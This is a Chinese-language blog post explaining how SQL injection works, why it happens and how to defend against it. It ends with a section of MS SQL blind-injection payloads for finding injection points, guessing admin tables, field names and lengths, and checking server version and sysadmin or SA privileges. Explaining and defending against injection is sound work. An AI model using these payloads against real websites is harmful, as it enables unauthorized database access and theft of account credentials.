【SQL隱碼攻擊原理】

lijieshare發表於2018-01-17

所謂SQL隱碼攻擊,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程式,將(惡意的)SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。比如先前的很多影視網站洩露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到SQL隱碼攻擊式攻擊.

 

 

原理

SQL隱碼攻擊指的是通過構建特殊的輸入作為引數傳入Web應用程式,而這些輸入大都是SQL語法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。

根據相關技術原理,SQL隱碼攻擊可以分為平臺層注入和程式碼層注入。前者由不安全的資料庫配置或資料庫平臺的漏洞所致;後者主要是由於程式設計師對輸入未進行細緻地過濾,從而執行了非法的資料查詢。基於此,SQL隱碼攻擊的產生原因通常表現在以下幾方面:①不當的型別處理;②不安全的資料庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字元處理不合適;⑥多個提交處理不當。

 

攻擊

當應用程式使用輸入內容來構造動態sql語句以訪問資料庫時,會發生sql注入攻擊。如果程式碼使用儲存過程,而這些儲存過程作為包含未篩選的使用者輸入的字串來傳遞,也會發生sql注入。sql注入可能導致攻擊者使用應用程式登陸在資料庫中執行命令。相關的SQL隱碼攻擊可以通過測試工具pangolin進行。如果應用程式使用特權過高的帳戶連線到資料庫,這種問題會變得很嚴重。在某些表單中,使用者輸入的內容直接用來構造動態sql命令,或者作為儲存過程的輸入引數,這些表單特別容易受到sql注入的攻擊。而許多網站程式在編寫時,沒有對使用者輸入的合法性進行判斷或者程式中本身的變數處理不當,使應用程式存在安全隱患。這樣,使用者就可以提交一段資料庫查詢的程式碼,根據程式返回的結果,獲得一些敏感的資訊或者控制整個伺服器,於是sql注入就發生了。

 

 

防護

歸納一下,主要有以下幾點:

1.永遠不要信任使用者的輸入。對使用者的輸入進行校驗,可以通過正規表示式,或限制長度;對單引號和

雙"-"進行轉換等。

2.永遠不要使用動態拼裝sql,可以使用引數化的sql或者直接使用儲存過程進行資料查詢存取。

3.永遠不要使用管理員許可權的資料庫連線,為每個應用使用單獨的許可權有限的資料庫連線。

4.不要把機密資訊直接存放,加密或者hash掉密碼和敏感的資訊。

5.應用的異常資訊應該給出儘可能少的提示,最好使用自定義的錯誤資訊對原始錯誤資訊進行包裝

6.sql注入的檢測方法一般採取輔助軟體或網站平臺來檢測,軟體一般採用sql注入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS可以有效的防禦SQL隱碼攻擊,XSS攻擊等。

 

 

語句特徵

1.判斷有無注入點

; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數目 如果遇到0< 返回正確頁面, 1<返回錯誤頁面,說明帳號數目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解欄位名稱 在len( ) 括號裡面加上我們想到的欄位名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(使用者欄位名稱name)>0)

and 1=(select count(*) from admin where len(密碼欄位名稱password)>0)

5.猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.看伺服器打的補丁=出錯了打了SP4補丁

and 1=(select @@VERSION)--

7.看資料庫連線賬號的許可權,返回正常,證明是伺服器角色sysadmin許可權。

and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

8判斷連線資料庫帳號。(採用SA賬號連線 返回正常=證明了連線賬號是SA)

and sa=(SELECT System_user)--

and user_name()=dbo--

and 0<>(select user_name()--

相關文章